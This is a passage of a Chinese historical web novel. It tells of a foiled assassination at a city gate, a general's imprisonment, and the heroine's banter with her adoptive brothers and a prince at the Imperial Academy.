齐烨状似什么也不知道,轻声叹息:“宋首辅失踪已经两月,虽然还没找到尸体,但恐凶多吉少。他为国为民这么多年,就明光一个女儿,若是有个什么,你们都让着她点,听到了吗?” 旁边的恭王、晋王、礼王三个:…… 不是,说好听话的时候不理他们,赐奖赏的时候依旧不管他们,现在警告人的时候,就净对着他们三是吧? 这偏心得也太过分了一点 三个人心里不愤,面上却一个比一个老实,笑着应答 “父皇放心吧,我们肯定把明光郡主当亲妹妹一样对待” “宋首辅德高望重,我们知道轻重” “明光性子活泼,我们当哥哥的疼爱都来不及” …… 那真是一个比一个虚伪 齐铮将他们的表现看在心里,心想,若是宋锦这本人在的话,定会顺着他们的话往上爬,不咬下他们两坨肉不罢休,哪会让他们光说这些空话啊 齐烨则是轻笑:“可要记住你们今日说的,行了,宋将军回来是大事,让我们下去迎他进城吧” 这是齐烨给宋慎之的荣耀,也是他应得的荣耀 这些年漠北平定,他得评头功 齐烨走下城墙,身后百官跟随,一群人声势浩大地踏出城门,来到城外,迎接戍边归来的将士们 远方的黑棋不断靠近,将士们一个个整齐的军服,一路沿途跋涉,他们身上算不得整洁,甚至说得上有些狼狈,日晒风吹之下,一个个皮肤黝黑,衣服也有些脏污,神色更是肉眼可见的憔悴 但是在看到他们的第一眼,所有人都只会注意到他们威武的气势 二百人骑在战马之上,十人一排二十人一列,排着整整齐齐的方队,踏马朝着城门前进 他们个个都是身经百战的将士,身上至少拿下过敌方十个个人头,骑在马上,腰间长刀寒光凛凛,上面甚至还有干涸的血迹 他们便是什么话都不说,那凛冽的杀意便汹汹袭来,让人不敢加以直视 尤其是那领头的青年,他眸子狭长,脸颊瘦削,鼻梁高挺而微微勾起,一双薄唇微垂,看起来莫名有些邪气,眸色跳动间杀意凛然,但又被眉眼间的坚毅压了下去,更多的是战场上下来的凌冽 他便是宋家老三宋慎之 兵马烈烈向前,在距离城门一里的位置,宋慎之拉停了战马,翻身下面,紧接着,后面的将士们一个接一个有序下马,从刚昂的姿态落到地上,一步步走到了城门处 宋慎之半跪地上,低下头颅,身后将士齐齐跪地,洪亮正气的声音循在整个城门 “微臣参见陛下,吾皇,万岁万岁万万岁” “吾皇万岁万岁万万岁” …… 齐烨看着面前的将士们,一股自豪感油然而生 看看,看看 这就是他们大衍的将士,是各个孔武有力能以一当十的将士,不是前朝那种面黄肌瘦饿得吃蚂蚱的瘦鸡仔 他们大衍朝会越来越好的 齐烨上前一步,笑着扶起宋慎之,拍着他的肩膀:“好好好,三年不见,你小子是越来越厉害了,就这体格,不愧是千锤百炼的将军,有你们在,我们大衍的边疆永无忧虑” 宋慎之:“陛下体贴将士,这些年便是最艰难时候也从不曾短缺将士一点军饷,将士们吃饱喝饱,家庭无忧,才能把全部精力放到训练上,都是陛下的功劳” 齐烨感慨:“你小子,就是不当将军,也能当个侍郎,能文能武,很有你爹爹风范” 提到宋商,宋慎之有些急切,他问:“陛下,家父如今可回来了?” 齐烨没有说话,摇了摇头,拍拍他的肩膀,转移话题道:“既然回来了,就好好休息,我已经安排了礼部安排了将士们住的地方,你们回去休整一番,等明日上朝来论功行赏” 宋慎之神色黯了下来,勉强扯着嘴角:“谢陛下” 齐烨叹气,又拍拍他的肩膀,以做安抚,再看向后面一个个身经百战的将士们,也没无视他们,而是看了一眼旁边的孙公公,对着其他将士们说起了话 “大家这一路辛苦了,回去稍作休息,这段时间,大家就在云和园歇脚,有什么需要的就侍卫们说,若有不便,就自己出去买一点……” 说着,小公公端着木盘上前,盘上整整齐齐的一颗颗金元宝,每人一颗,说不上多,但是不管对谁都不算少 换算下来可是一百两银子呢,够很多人家过十年八年宽裕日子了 而这,还只是见面礼,真正的行赏还在后面呢 …… 宋锦站在城墙上,杵着下巴把这一切尽收眼底 不得不说,齐烨确实是个好皇帝,会用人、会施恩、还大方,也不怪短短二十年便开启一个太平盛世 大衍朝的百万雄兵可不是说着玩的,每年花的钱就跟流水差不多,百万两银子扔进去就是打个响 如今国库充足还好,再往前几年,本就风雨飘渺,一分钱恨不得花两瓣,不少文官都提议缩减将士待遇,被他驳回了 现在也有人年年提减少将士数目,也被他驳回 宋锦忍不住感慨:“真希望皇上能长命百岁,一直年轻啊” 牛铁兰警告:“嘴不要了?” 宋锦撇嘴:“刚还叫我宝贝囡囡,现在就骂人了,娘你变得也太快了吧” 牛铁兰:…… 之前哭了好一会,又睡了一觉,现在即便抹了脂粉,她眼睛依稀泛着红肿 先前情绪上头,她说了一堆乱七八糟的话,现在想想脸颊都有些发红,这死闺女还好意思打趣她 牛铁兰嗔怒:“信不信我抽你?” 宋锦吐舌头,装模作样:“我可是你的宝贝女儿呢,比你命还重要,你怎么舍得抽我啊” 牛铁兰恼,大声:“宋金金” 宋锦继续装怪,捂着半张脸,嘻嘻哈哈:“在呢,软铃铛,肩膀借你啊” 牛铁兰:“你死定了” …… 城墙很高,母女俩在上面的追打的声音便是再大一些,底下也听不到——对普通人来说是这样的 公公还在发钱,一个个坚毅的将士们脸上难掩喜意 宋慎之却是抬起头,朝着不远处的城墙看去,厚重青灰的城墙上,蓝红身影格外显眼 虽说这边的城墙封闭了,但是其他的门还开着,守卫忙碌,有人偷跑上去也不奇怪,就是跑上去了, 还能跑到这边 有点东西,也有点胆子了 宋慎之若有所思,很快却瞳孔一缩 只见那高墙之上,刚才追打的身影中不知什么时候出现一抹灰影,不过转瞬之间,就被红衣人掀落城墙 乍然之间,他顾不得其他,跃身朝着那边奔去,想要接住人 齐铮看着城墙之上,不比宋慎之不识人,他一眼便认出上面‘捣乱’的人是谁,看着那被追打落于城墙的灰影,他脸色微变,抓住宋慎之肩膀往旁边一拧 宋慎之一个闪躲避开,下意识抽出腰间长刀,惊惧地看着动手的齐铮,正要询问 电光火石之间,左右兵马瞬间爆发,在周围亲卫们将士和侍卫中有人冲了出来,持刀朝着齐烨这边袭来 齐铮眉眼一冷,把齐烨往后一拉,长剑脱鞘,剑锋闪着寒光横于身前 “护驾” 第67章 成了阶下囚 宋锦上城墙本来只是想凑个热闹 她们原本应在东门外的酒楼等待,但那边清了场空荡荡的,什么都看不到,她想了想直接让马车师傅把车停到了东北门这边的城门处 齐烨是个好皇帝,为了不影响大部分人的出行,只封锁了正东门一个门,旁边的东北门和东南门都是开着 当然,门口处有侍卫守着不让闲杂人等进去,但是宋锦是谁? 她可是当朝首辅之女,又是倒挂英国公世子、咒骂老太君后安然无恙的明光郡主 她还手持三块令牌,一块是宋商那能关键时刻直入宫门的金牌,一块是岐王的令牌,一块是郡主牌子 这谁敢拦啊 反正周围侍卫是没敢拦到,他们这些个小喽啰哪儿管得了上头的纷争?反正天塌了还有高个的顶着,上面还有侍卫,要拦也让他们拦着——大家都这么想 于是母女俩就这样一层一层,爬上了高大的城墙 她们本来是打算去看军队入城的场面,但是一上了墙,这件事也没那么重要了,因为城上风光甚美 永安城的城墙绝对是大衍朝最高的墙,城墙高大宽厚,站在上面阵阵秋风袭来,很是凉快,往外看出,山河辽阔,一望无际 那是和登山看到的完全不同的场面 母女俩慢慢吞吞地走在墙上,看着这大好河山,心中都感慨万千,她们和以往真的不一样了 以往在泗安县的时候,她们是普通得不能再普通的小百姓,小兵小吏皆需要谨慎对待。现在在永安城,有宋家为背,皇家为靠,即便麻烦事恶意多了不少,但是出门在外,真的是无需再惧谁了 这不管是对于性子嚣张张扬的宋锦,还是对于小心谨慎的牛铁兰,都是一种神奇的体验 因为城墙高,母女俩也不怕被底下的人听到,一路绕着城墙打打闹闹 到了距离东门还有些一里的位置,就要谨慎些了,这边守卫明显密集许多,一个个亲卫全副武装,目光炯炯 不过还是那句话,宋锦身上的牌子太重了,没人拦着她。总归也不是什么大事,刚才这么多大小百官都能在,她一个郡主还不能看看了? 这些人睁一只眼闭一只眼,宋锦也乐得轻松 她就这样拉着牛铁兰一路游耍,一路探头探脑打量着城墙——里面的出口线路,藏身夹角,出逃方位,尤其是攻击力强大的巨弩和炮火 打量着打量着 她停在面前被油布遮盖的炮火筒前 说是炮火筒,其实是就是个投弹机,虽然比起投石机威力更强,也更省事,但用以进攻过于笨拙,多用于防守。大衍朝这些年不断扩张守住边疆,就少不了这玩意儿的功劳 这玩意儿起的就是一个震慑的作用,平日都是用防雨布封着的 但是里面有呼吸声 宋锦迅速察觉了不对,给了她娘一个眼神 牛铁兰本来还在追打这死孩子,见此停了下来,她抿着嘴唇,脸带忧虑,却还是果断地朝着前方的侍卫那边跑去 她留下只能拖后腿 见她走远了,宋锦袖间匕首落到手上,她一脚踹向炮筒,随着里面闷哼声传来,她直接取下手中油布,再以其作遮挡,拦下里面人的攻击 心中有了大致的判断,她收起手间匕首,上前一步往后一跳,拉着人狠狠摔在地上,然后折断他的胳膊按住人,她挑着眉头看着面前的灰衣男 “哪里来的小贼?” 这灰衣男子个头不高,甚至上可以说得上娇小,不然也不能藏在那炮火之中了,但是除此之外他的双臂尤为粗壮,是擅长使弓的人 这个距离,一般的弓箭和弓箭手根本就射不过去,但是面前这人 可以 宋锦看着一边顺着炮筒滑下来的巨型弓弩,一觉将其踹开,神色慎重了几分 在这个时候选择在这里在城楼暗杀,若只有他一个人,被抓了自然无事,若是一群人 思索间,被抓住的灰衣男人一个掏手,手间白灰炸开 宋锦下意识闪躲后退,也就是这一个瞬间,灰衣男人直接顺着城墙一跃而下,这个高度,这人绝对会死,他确实也是求死,想来知道的东西不少 宋锦想到她们出镇子时候袭击他们的死士,脸色一变,想也不想纵身跟下 想死也得看看她的意见 也就在这边追逐的时候,原本平静的下面爆发阵阵刺杀 宋锦一个加快,沿着城墙往下,解开腰带直接困住即将落地的刺客,将人一捞,然后在他震惊的目光下,手中断匕一挥,直接挑断他的手筋,按着人的脑袋往墙上狠狠一砸,直接就给人砸晕过去 再然后 “阿切” “阿切” 混蛋啊,宋晴眯着眼睛,一边抽过自己的腰带重新系上,一边狠狠打着哈欠,眼睛里火辣辣的 齐铮说得对,这些混江湖的人就是脏 谁家好人准备胡椒粉辣椒粉这些玩意儿,她还以为是什么毒 混蛋玩意儿 宋锦气得直咬牙,眯着通红的双眼,大步流星朝着乱起的人群冲去,等她到的时候,亲卫们已经前前后后把齐烨围在中心,左右盾牌立起,保证便是弓箭袭击也无法穿透 他的安危无需担忧 那些刺客眼看已经暴露无法撤退,也不管那么多了,直接直接朝着在场其他朝臣攻去,现场一片混乱 那些武力一般的人很好那些,武力高强些的,就和侍卫们僵持着 宋锦眯着眼睛,也不管三切十一,走到侍卫群里,随手抢过一把长剑便直接上前,逮着其中一看就功夫深的人刺去,冲着围着人的侍卫大喊 “都让开,让我来,死东西看剑” 亲卫:…… 宋锦此刻眼睛红红,眯着眼勾着唇冷笑,长剑指前,那气势汹汹一副六亲不认的模样,亲卫们下意识闪开,再然后,就进不去了 宋锦的剑法,那叫一个大刀阔斧、大气磅礴,乱七八糟 对战的男人在亲卫们的围攻下僵持,面色不变,但其实心有退意 亲卫的功夫自然和他没法比,但一个个训练有素,又有各种阵队布招,继续下去,他绝对撑不过去 他正想着找准时机逃走,没想到来了这么个不管不顾的疯女人 看着宋锦那嚣张的‘纸老虎’模样和满是破招的剑,男人心上一喜,提剑主动迎了上去,他已经看好了逃跑路线,想着是这个女人的‘功劳’,他就让她死得痛快点 他一剑上去,一挑 再挑 还挑 挑不动? 男人惊愕地看着宋锦 宋锦才不管那么多,眼看着这人发起了呆,简直是奇耻大辱,她手上一个用力,然后往前一步,蕴起大力,一脚狠狠踢向男人的手腕 咔擦一声 男人手骨直接断裂扭曲,随着他一声惨叫,手中的长剑落下 几个亲卫也很错愕,他们自然也不认识宋锦,但是看他腰间挂着的一串牌子,呃,应该不至于是刺客 他们立马上前抓住刺客男人,也是将士之一,他身经百战武艺高强,对于排兵布阵更是了解,所以才格外难打 就在他们抓人之间,宋锦又瞄准了其他的人 她嫌弃长剑不好用,又抢了一人的长戟,直接拿来当棍子用,拿在手中就又敲打又打,那砰砰砰的,刺客惨不惨的不好说,反正冲上去抓人的将士侍卫们一个不查就得挨上两棍 打得那叫一个敌我不分 好在这种混乱并没有持续多久,因为刺客的数量确实不太多,最开始冒出头的实力,强劲的两人被齐铮斩于剑下,剩下的人又有亲卫抓捕,没什么威胁性 最大的威胁,其实还是城墙上掉落的灰衣男 可惜,他在行动还没展开的时候就碰上宋锦这么搅浑水的,一开始就失去了行动力,现在还在城墙 下躺着呢 亲卫们有序地把所有的刺客全部聚在了一起,包括墙上的那一个 这一行总共有十六个刺客,其中十一个是青郡府派护送的侍卫,三个是宋慎之带回来的将士,还有一个守城侍卫,最后一个就是刚才的灰衣男了 在刚才的最大之下,十六个人里死了四个,重伤四个,轻伤两个,现在这些人全被押解在地上,排成一排 齐烨脸色难堪 就在皇城脚下,他的守城侍卫、戍边将士们中都有行刺之人,在其他看不到的地方又还有多少逆贼呢? 说到底还是以往的他太心慈手软,才给这些人这般心思,宋商说得对,不破不立,不敲碎这前朝逆反发脊骨,这山河永悬 宋慎之手持长刀立在原地,一张脸冷得不成样子,他静静地看着那边揉着眼睛、气急败坏和齐铮嘀咕的宋锦,目光落在那张极其眼熟的脸上,一瞬间他便知道这人是谁 想到了现在生死未明的父亲,他心有酸涩,想上前说点什么,到底还是理智战胜了感性,她将目光落在了惊慌沉重的将士们身上 这两百名将士都是他带回来的,结果冒出了三个刺客,他这个主将难逃责任 比起受惩罚的担忧,更让他心情沉重的是这三人,他们一个个都是征战沙场的好战士,保家卫国没少出力,只可惜,他们保的是别人的家 宋慎之看着被压倒地的三个将士,沉声道:“孔乾,北金一役,你深冬时候只身跑进敌方深处,火烧对方粮草,让他们无力再战,只得臣服,此番回来,你居二等功,至少是六品大将,你值得吗?” “潘老三,你还记得那和你一起出生入死最后被斩于敌手的好兄弟吗?他们舍命护国,你竟行刺陛下,你对得起你那怀胎七月的妻子和即将出生的孩子吗?” “赵根生,上半年阿慕林带人突袭边城,你带着八人小队和他们周旋并回来通知,避免了其他兄弟牺牲,这些你都忘了吗?” 在他的厉声下,三个人低下了脑袋,不敢看他的眼,也不敢见其他将士们的失望和责备的眼神 一行二百人回城都是受封的,不说加官进爵总少不了赏赐,现在他们这一来,别说赏赐了,他们不被牵连贬职就是好的了 宋慎之也没想过说两声就能让他们招供,他只是想告诉其他人,即便他们现在是刺客是罪犯,但是他们当初依旧舍生保家卫国,驻守边疆守卫了一个又一个百姓 他说完,看着身后的将士们,又看着前方的文武百官,果断地卸下了腰间的长刀护驾,径直跪在地上,声音沉沉 “微臣教下不严,害陛下置于危险之中,请皇上责罚” 随着他跪下,身后的将士们迟疑之下,也纷纷卸了刀架,跟着跪下 “请陛下责罚” 齐烨站在那儿,看着这些稀稀松松的刺客们,再看着面前铁骨铮铮的将士们,在心里叹了口气,随后肃起了脸 “将士们在边疆舍生忘死,你们又何曾有错?该论功行赏依旧,然,宋将军作为领帅,不仅未分出其中叛徒,还将其带至朕前,陷朕与百官于危险之中,其罪难逃,便同刺客一起关入刑狱司” …… 眼看着他高楼起,眼看他高楼塌 谁能想到,不过这么转瞬间的功夫,宋慎之刚刚还志得意满、即将加官进爵的大将军,现在转瞬间就成了阶下囚,随着刺客们被押进大牢 那些个将士们的论功行赏,也遥遥无期,暂且先回云和园等待——不过这次定然少不了重重侍卫守护 宋锦站在一边,紧抿着嘴 在这之前,她对于宋家兄弟们所说的谨慎注意还没什么实感,但在这一刻,她懂他们为什么一直让她小心行事 这能挖坑陷害的地方也太多了一点 就这场行刺,这么点人成功的几率太低太低,贸然出手只是送命,那幕后之人既然能撺掇这么多人马自然不傻,他依旧如此行事 那只有冲着宋慎之来的 这个继宋商之后,宋家的另一位支柱,也是大衍朝的支柱,但凡他一出事,边疆军营可操作的地方就太多了 宋锦能想到这些,很多人也能想到这些,但是想到归想到,真正的决定权还是交由齐烨手中 生还是死,都在他一言之中 他若想要宋家活,这次意外便能安然渡过,他若想趁机收拾宋家,这次也是一个极好的机会 想到这些,宋锦紧绷了起来,她轻轻地瞄向四方,搜索着逃窜路线,但实行性很低,不说周边还处着这么多侍卫,就说她老娘,还在那城墙上呆着呢 插翅难飞 她默默地朝着后面退了一小步,降低存在感,免得被一起问责 齐铮站在一侧,垂下眸子,不着痕迹上前一步,高大的身形将其遮挡大半,不过收效甚微 就宋锦刚才的那一番嚣张奔打,现在来低调太晚了 齐烨转过头就只看到人一小个袖子,他没好气道:“明光啊,别以为你缩着脑袋,朕就看不到你了,给我出来” 宋锦还有些没适应这个名字,反映了好一会儿,才在齐铮的提示下想起这是自己,她悄悄探出个脑袋,一脸讨好 “陛下您叫我呢?哎呀,刚才吓死我了,陛下您没事可太好了” 齐烨睨她:“少来这套,你这又是飞又是跳的,跟蚂蚱似的,哪儿吓到了?城楼那么高,你这狗胆包天的玩意儿,要是缺胳膊断腿了,你让我怎么和你爹交代?” 宋锦收到讯号,立马松了口气,拍拍胸口,得意洋洋:“您放吧,我心里有数着呢,再说了,我这不是担心您嘛。您可是不知道,我就在上面那么一溜达,嘿,您猜怎么着?那炮筒里竟然藏着个弓箭手,那我哪能放过人啊,把人一抓,他一跳,这不明摆着知道不少事情要自尽嘛,那我哪能放过他?” “说的跟唱的似的,行了,别在这边乱窜,外面不安全,自己回家里呆着去。”齐烨嫌弃地挥了挥手,但是脸上的笑意藏不住,让人都知道他对这个新晋郡主的喜爱。他对着宋锦说完了,又道 “宋侍郎” 人群中,略显憔悴的宋行之站了出来,一向风流的人这会儿没有半分笑意 这段时间他先是跟着齐铮查询金矿一事,又料理梁家,一路忙得脚不离地,回来又是日夜兼程,他实在是风流不起来,尤其是眼看着难得团聚的三弟又因下属之故入狱,他心情沉重 他行了个礼,扯着嘴皮,勉强道:“微臣参见陛下,请陛下赐罪” 齐烨:“赐什么罪?你三弟是御下不严,你彻查梁家之事有功,这段时间辛苦你了,剩下的就交给刑狱寺审问,你带着明光回去好好休息一下,明日记得上朝述职” 宋行之一直在青郡府,自然不知道封郡主的事,听到明光二字略有不解,瞥了那边看起来比以往更为张扬的人,他也没多问,直接应下:“谢陛下开恩” …… 再然后也没什么了,齐烨带着百官们转身回宫,侍卫们全副武装,小心谨慎地将四周守住,避免再次遇袭 齐铮在原地停了一下,对着宋锦低声:“别担心,有事我会派人寻你” 宋锦的紧张消失大半,她从兜里掏出一块包好的酥糖递过去,双眸明亮,小声:“刚才街上买的,咸口,很好吃的” 齐铮低头看着那油纸包裹的酥糖,酥糖置于她手心上,左右是厚重的茧皮,骨节也略显突出,比起一般姑娘家的手粗糙不少,却能轻易地断开别人的骨头 英勇又无畏 想到她从城楼落下的画面,他轻轻拿过那块酥糖,指节与手心不小心触碰,酥酥痒痒的,又有些烫,他收回手,垂眸小声:“以后别这么冲动,线索断了就断了,以自己为重” 说完他大步跟上前面的队伍 宋锦看过去,就见到他小心地将酥糖收起,转瞬间长剑立在身前,随在车撵旁边,冷肃自持,很有剑客的风范,又多了些矜贵 俊美而潇洒 最开始见面时候她还觉得这人是冰冷的铁竹子,相处下来,却是 棵软心的木竹子 宋锦嘴角不自觉弯了弯,凤眸璀璨而明亮 宋行之上次见到宋锦还是一个多月前,虽然总共相处的时间不多,但作为一个情场老手,他对这幅模样并不陌生,心里立马警觉了起来,又因着刚才的事有些焦躁,一开口,就藏不住阴阳怪气了起来 “哟,看来我们宋姑娘这段时间在都城过得不错啊” 宋锦目光瞥了过去 宋家兄弟五个,她最烦的就是面前这个唠唠叨叨故作潇洒的风流浪子了,若不是他后面收敛了德行,准少不了她两顿揍。现在还敢阴阳她了 宋锦扫过他的憔悴样,啧啧回去:“那确实不比宋侍郎,瞧着肾虚样,这段时间在青郡府也过得也是潇洒,不像我,也就是参加了个什么中秋晚宴,被刺了个无关紧要的郡主名头,比不得,比不得啊” 这段时间就差累死的宋行之:…… 天理何在啊 第68章 救你于水火 一晃三天过去 宋锦坐在花园的秋千上,看着前面燕瘦环肥、千娇百态的各色美人,重重地打了个喷嚏 “阿切”她揉了揉鼻子,嫌弃地看着旁边甩着扇子故作潇洒的宋行之,“你真的,不会觉得呛鼻吗?” 这人不回来之前,这些个美人儿虽然也喜好打扮,但各个都是各顶各的美人儿,养眼又香香的,可没有现在这种有些腻歪的香味,可见这是谁的喜好 真是毛病啊 面对她的嫌弃,宋行之挥了挥扇子,笑得风流倜傥:“有吗?这味道多好闻啊,你回来这段时间,应该也都认识全了吧?我后院无正妻,美人儿都是一样的,你都叫个名字就好” 他后院说简单也简单,说复杂也复杂 总共五个,两个通房两个妾室一个姨娘,各个都是美人儿,除了两个通房丫鬟是自小跟着他的,处事周到,其他的全是性子温和甚至有些懦弱的那种。每每出个门,偶尔碰到宋锦她们,别说给脸色了,那是老远见着就跑了 宋行之这次回来几日,完全没去后院,几个人才大着胆子过来‘偶遇’一下,不知道该说她们胆小,还是吐槽宋行之的审美了 这人之前,不会觉得她娘也是这种的吧? 那就想错了,她老娘是那种看着柔弱,能忍,能演,但是该出手时绝不手软。别看她喜欢栽花养花,真给她放到这种花圃里面,她就是那菟丝草,连花带树都能给缠死 想到那点旧日矛盾,宋锦眼光流转,勾起嘴唇,道:“说起这个,我也有一个小问题” 宋行之甩扇子,笑眯眯:“什么问题?小妹问,大哥知无不言言无不尽” 宋锦:“你为什么没有孩子?” 宋行之笑容僵住 宋锦笑眯眯:“你都二十六了,后院也多年了,不会吧不会吧,你看着体虚就算了,真的虚啊” 宋行之深深看了看宋锦,脸色逐渐收起,叹气:“你是会戳人痛脚的,行了,不和你闹了,老三还在牢里待着,我们几个不合适探望,想请你你替我们走一波,家里库房……” 宋锦果断应下:“行啊” 宋行之惊愕 宋锦挑起眉头:“怎么,这么难以置信?我是什么很恶毒的人吗?” 宋行之赶紧:“怎么可能,就是,就是你和老三还没正经见过面,我以为,以为你会不愿意” 宋锦从秋千上跳了下来,伸手拍拍他的肩膀,眉眼飞扬:“不用太惊讶,等哪天你进去了,我也回会去看你” 宋行之嘴角一抽:“……别咒我啊” 宋锦哈哈笑了几下,大步走出院子,院外面,宋顺之、宋安之和宋清之三人都在,看到她突然出来,三人脸上都有些许的尴尬 毕竟宋慎之现在的处境确实不好 这几日刑狱寺闭关,根本不让外面进去,尤其是他们几个,各家死守盯着他们,但凡敢去,就是一堆攻讦 但是里面一点儿消息也没有传出来,他们实在不放心,思来想去,只能想到宋锦头上 她是郡主,性子本就张扬,之前又救驾有功,她这进去,谁都攻讦不到她身上。就是状告也没啥用,她英国公世子也挂了,城也救过,现在连皇上都救了,怎么,看个热闹都不够格? 论探监的人,整个都城没谁比她更合适了 宋锦双手抱在胸前,打量着宋家这四个男人,啧啧摇头,感叹:“这宋首辅可是二十岁就当首辅的人,他在的时候朝廷上下被压得老老实实,他一出事,你们几个,还是太嫩了啊” 也可以说顾虑太多了 宋商当首辅那会儿,孑然一身,身后只有满墙的功绩,他舌战群儒,武拼刺客,抄家流放屠杀,放田扩地修渠…… 宋锦以往在外只听到他身下累累的血迹,到了都城,慢慢地也才从一本本书记政策中看到这个人的生平 乱世枭雄,盛世杀神,宛如定神针一般定住整个大衍朝,一个人压制朝野二十年 宋锦想想都觉得可怕,她最讨厌这种有脑子的人了,不过也不得不佩服这人 有宋商一辈子的奋斗,才有她现在靠脸吃饭的从容 她又是靠着人家医治自家老娘,又靠其得了个郡主名头了,总不能真的什么都不管吧? 宋锦坦然面对兄弟四人的目光,不说虚的,大大方方道:“什么时候去?要带什么吗?” 兄弟四人面面相觑,心情都有些复杂 这段时间以来,他们在宋锦母女俩身上其实下了不少功夫,吃穿住行,哪一样都是都城顶尖的待遇,各种事情不合规矩,他们也都由着她们 但是母女俩一直都不咸不淡的 这次冒这个险,他们都做好了大价钱谈判的准备,结果还没有开口的机会就结束了,倒是他们小人之心度君子之腹了,总觉得有些不自在 不过现在还是宋慎之重要 宋顺之是刑部的人,对刑狱寺比较了解,此探监就是由他来负责的,他缓声说道:“东西简单,就带些简单的餐食过去就好,至于时间,越早越好” 宋锦:“那就现在吧,反正也没事,和我娘说一声就去” 宋顺之迟疑起来 宋锦挑眉,好笑:“什么反应?你觉得我娘会拦着我?” 宋顺之有些尴尬:“没,只是夫人身体不好,此事冒险,怕她忧虑” 宋锦:“那你可就小瞧她了,走吧,和她说了就过去,回头刚好回来吃饭” 她大步往院子回去,兄弟四人跟着走在她的身后,有些担忧牛铁兰阻拦。不过就如同宋锦说的那般,听到她此番去意,牛铁兰完全没有阻拦,甚至还嘱咐了一句 “人在牢里已经够惨了,你别气人家” 宋锦撇嘴:“我是那种人吗?” 兄弟四个:那绝对是 不过这是小事情,老三那在战场上有时候都要和敌方对骂的人,一时半会儿应该气不死,确定人没事才是正经的 商量好了,他们就拿起准备好的食盒,坐上马车朝着刑狱寺方向驾去 走到一半的时候,宋锦突然叫停马车,掀开帘子手指了指一边,很是理直气壮道:“走那边,先去岐王府” 马夫犹豫地往回看 宋行 之是这几日才回来的,对于宋锦这段时间在都城的事情都不是很清楚,他倒是问过其他兄弟三,但基本也是一问三不知 这段时间母女俩基本都是自由活动,不带丫鬟小厮也不带他们几个 宋行之也不知道该说兄弟几个没用,还是该说他们心大了,现在听到她要去找齐铮,瞬间就警惕了起来 他捏着扇子,试探:“小妹和岐王殿下,看起来颇为亲近” 宋锦瞥:“那不废话?你忘了是谁送我们回来了?我和岐王殿下,那可是有深刻革命友谊的好朋友,我警告你最好别惹我” 说这,她眯着眼睛,伸手比了比脖子,威胁之意非常明显 她可还记得这人之前用侍郎身份威胁过自己的,那时候她一乡下小村姑,无权无势的,只能靠着这张和送上相似的脸和他谈判 现在,甭管怎么得到的,她就是货真价实的郡主,和当今皇上亲子岐王是朋友,她看这人还敢怎么威胁她 也不想想,那时候是谁先动手差点把人打个半死、又率先威胁人动手,才惹得他威胁的 宋行之想想泗安县一行就心塞得很,他叹气:“你找岐王殿下也不用去岐王府,今日二十,殿下逢十有小考,在国子监内” 宋锦恍然,想起之前齐铮面无表情地说这大考小考的事,打了个寒颤 不行,她要去解救好朋友于水火之中 她对着车夫大喊:“快快快,去国子监” 宋行之等人:…… 几个人都有话说,但是想想有齐铮在更方便探监,他们又保持了沉默 对不起了爹 你不在,儿子们确实无用 ** 国子监作为天下学院之最,史书诗词,天文农药,都具有最顶级的教学 不过若说最出风头的,永远还是诗书辞赋 多少才子佳人靠此出尽风头,留芳百年 国子监内最不缺的就是权贵子弟和出名才子,因此,在这里,光有单一的权势是不行的,得兼具才华和权势,才能在其中出尽风头 这一点,齐铮还有千百里的距离 宋锦他们到的时候,小考正在进行中,并不是单一的写卷子考试,中间还有各种提问,监考的考官 有点眼熟 本来大步匆匆进来说这要解救好朋友的宋锦看了一眼就缩回了脑袋,贴着墙藏得严严实实,一脸惊悚 “这人,还教这么多人呢?” 宋行之看着她惊疑未定的模样,晃着扇子,悠悠道:“你说程学正?那确实是你们女子典范,以女子之身获七品官位,诗书律法样样皆会,二十岁便在国子监教学,史书一道,便是有人比她了解透彻,也少有人比她教得好。小妹若是喜欢,也可以过来读书,免得在家里也无聊” 宋锦怒目而视,随后冷笑一声,阴阳怪气:“哟,我记得这人是你前未婚妻的好友吧?不会是你被甩了这么多年还念念不忘,眼看着别人要和离了,想着近水楼台先得月,从我这里来吧?别想了,你个浪荡子” 宋行之怔住:“杨彦珺要和离了?” 宋锦啧啧:“瞧瞧,这还不知道啊?看样子也没那么在意嘛” 宋行之嘴角一抽,手中扇子一折,下意识想探出去敲敲宋锦的脑袋,又在她死亡视线下若无其事地重新展开,道 “别听老四老五胡说八道,我和杨彦珺当初是正正经经地退婚分手,没那些乱七八糟的事。她现在便是和离,和我也无甚关系,倒是你” 宋锦挑眉:“我什么?” 宋行之指了指教室,笑眯眯:“不去解救你的好朋友了?轮到他了” 宋锦瞪了这人一眼,又悄悄咪咪鬼鬼祟祟地来到窗子处,看着里面齐铮站了起来 比起平日时候,在国子监的他,看起来更为冷肃,嘴唇紧抿,身形也紧紧绷着,整个人就跟那冬日寒冰似的,冷飕飕的 但是一点儿也不妨碍当老师的提问 程思懿一袭白衣玉簪,手间抱着几本书本,一步一步满是诗书典雅气,她问:“岐王殿下,你如何看前朝史官乐济” 在周围人各种幸灾乐祸嘲讽的目光下,齐铮眉头紧皱,缓缓道:“他,身约五尺,有些驼背,头发花白,脾气不好,喜欢骂人,吃肉,胆子又小” 全场哗然,紧接着是一声声或明显,获闷闷的笑声 程思懿淡淡:“你们很会?” 其他人瞬间安静了下来,一个个正襟危坐,听话得不得了 虽然他们确实会这个考题,但是同样的考题,六十分和九十分的要求可差了远了,谁敢起来回答,就会遭到她一连串无情的质问,总有两个他们答不上来的,然后就回去反思去了 论史学研究,程思懿虽然年轻,但在大衍绝对名列全茅,这可是三岁就会背史书的人 她看向齐铮,颔首:“殿下继续” 齐铮目光从窗外回来,身形越发紧绷起来,斟酌半天,继续道:“他怕蛇、怕鼠、怕野猫,晚上甚至不敢一个人睡觉,就这么一人,却敢在面对荒帝砍头威胁下,如实记载了前朝宫内外记事,又在新朝建立后,辞去官职,云游四海,继续录下各地史实,当得上史学大家” 程思懿:“殿下见过乐济?” 齐铮应声:“当初在外时候和他同行过两月” 不过那时候他嫌弃这老头话多事多胆子小还不爱干净,就一个人跑了。他还以为那老头是吹牛的,一直到回了都城,在史册中见到他的名字,他才知道那老头吹的牛还挺真的,早知道这样 他当初还是得走 那老头真的很邋遢 程思懿听着齐铮这一份可以算零分的答卷,却是笑了起来,道:“殿下入学不过半年,却已识得大部分史实,进步斐然,今日便到此吧” 虽然齐铮的答卷拿不了分,但是他从一开始的什么也不会,到现在什么都能说个一二,她便知道他回去下了多大功夫 不怕人不懂,就怕不懂装懂,还不学 说完,程思懿又看向窗外,外面宋锦的脑袋一闪而过,看得出又是个不好学的,这种学生她见过太多了。她再看向持着折扇的宋行之,心中有些许的遗憾 